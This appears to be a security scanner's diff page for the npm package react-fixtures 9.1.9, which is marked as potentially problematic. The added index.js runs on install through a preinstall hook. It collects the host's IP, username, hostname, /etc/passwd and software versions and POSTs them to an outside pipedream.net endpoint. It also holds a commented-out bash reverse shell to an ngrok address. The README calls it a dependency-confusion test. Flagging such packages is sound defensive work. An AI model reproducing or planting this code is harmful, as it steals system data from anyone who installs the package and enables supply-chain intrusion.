react-fixtures 9.1.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of react-fixtures might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +4 -0
  2. package/index.js +65 -0
  3. package/package.json +12 -0
package/README.md ADDED
@@ -0,0 +1,4 @@
1
+
2
+ <h1 align="center">This NPM package vulnerable to dependency confiuse vulnerability</h1>
3
+ <p align="center">Name: Aryan Jaiswal</p>
4
+ <p align="center">Contact: aryan351985@gmail.com</p>
package/index.js ADDED
@@ -0,0 +1,65 @@
1
+ const execSync = require('child_process').execSync;
2
+
3
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
4
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
5
+ const host = execSync('hostname', { encoding: 'utf-8' });
6
+ // const current_dir = execSync('pwd', { encoding: 'utf-8' });
7
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
8
+ // const ls1 = execSync('ls', { encoding: 'utf-8' });
9
+ // const ls2 = execSync('ls ../', { encoding: 'utf-8' });
10
+ // const ls3 = execSync('ls ../../', { encoding: 'utf-8' });
11
+ // const ls4 = execSync('ls ../../../', { encoding: 'utf-8' });
12
+ // const ls5 = execSync('ls ../../../../', { encoding: 'utf-8' });
13
+ // const ls6 = execSync('ls ../../../../../', { encoding: 'utf-8' });
14
+ // const ls7 = execSync('ls ../../../../../../', { encoding: 'utf-8' });
15
+ // const ls8 = execSync('ls ../../../../../../../', { encoding: 'utf-8' });
16
+ // const ls9 = execSync('ls ../../../../../../../../', { encoding: 'utf-8' });
17
+ // const ls10 = execSync('ls ../../../../../../../../../', { encoding: 'utf-8' });
18
+ // const py3 = execSync("python3 -c 'import pty; pty.spawn('/bin/bash')'", { encoding: 'utf-8' });
19
+ const py = execSync('python --version', { encoding: 'utf-8' });
20
+ // const bash = execSync('which bash', { encoding: 'utf-8' });
21
+ const lsb = execSync('lsb_release -a', { encoding: 'utf-8' });
22
+ const php = execSync('php --version', { encoding: 'utf-8' });
23
+ // const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/18121 0>&1', { encoding: 'utf-8' });
24
+
25
+
26
+ const https = require("https")
27
+
28
+ const data = JSON.stringify({
29
+ "private IP": priv_ip,
30
+ "whoami": whoami,
31
+ "hostname": host,
32
+ // "current dir": current_dir,
33
+ "passwd": passwd,
34
+ // "ls1": ls1,
35
+ // "ls2": ls2,
36
+ // "ls3": ls3,
37
+ // "ls4": ls4,
38
+ // "ls5": ls5,
39
+ // "ls6": ls6,
40
+ // "ls7": ls7,
41
+ // "ls8": ls8,
42
+ // "ls9": ls9,
43
+ // "ls10": ls10,
44
+ // "py3": py3,
45
+ "py": py,
46
+ // "bash": bash,
47
+ "lsb": lsb,
48
+ "php": php,
49
+ // "shell": shell,
50
+ })
51
+
52
+ const options = {
53
+ hostname: "eo56j4tfa20w1b7.m.pipedream.net",
54
+ port: 443,
55
+ path: "/",
56
+ method: "POST",
57
+ headers: {
58
+ "Content-Type": "application/json",
59
+ "Content-Length": data.length,
60
+ },
61
+ }
62
+
63
+ const req = https.request(options)
64
+ req.write(data)
65
+ req.end()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "react-fixtures",
3
+ "version": "9.1.9",
4
+ "description": "Bug Testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }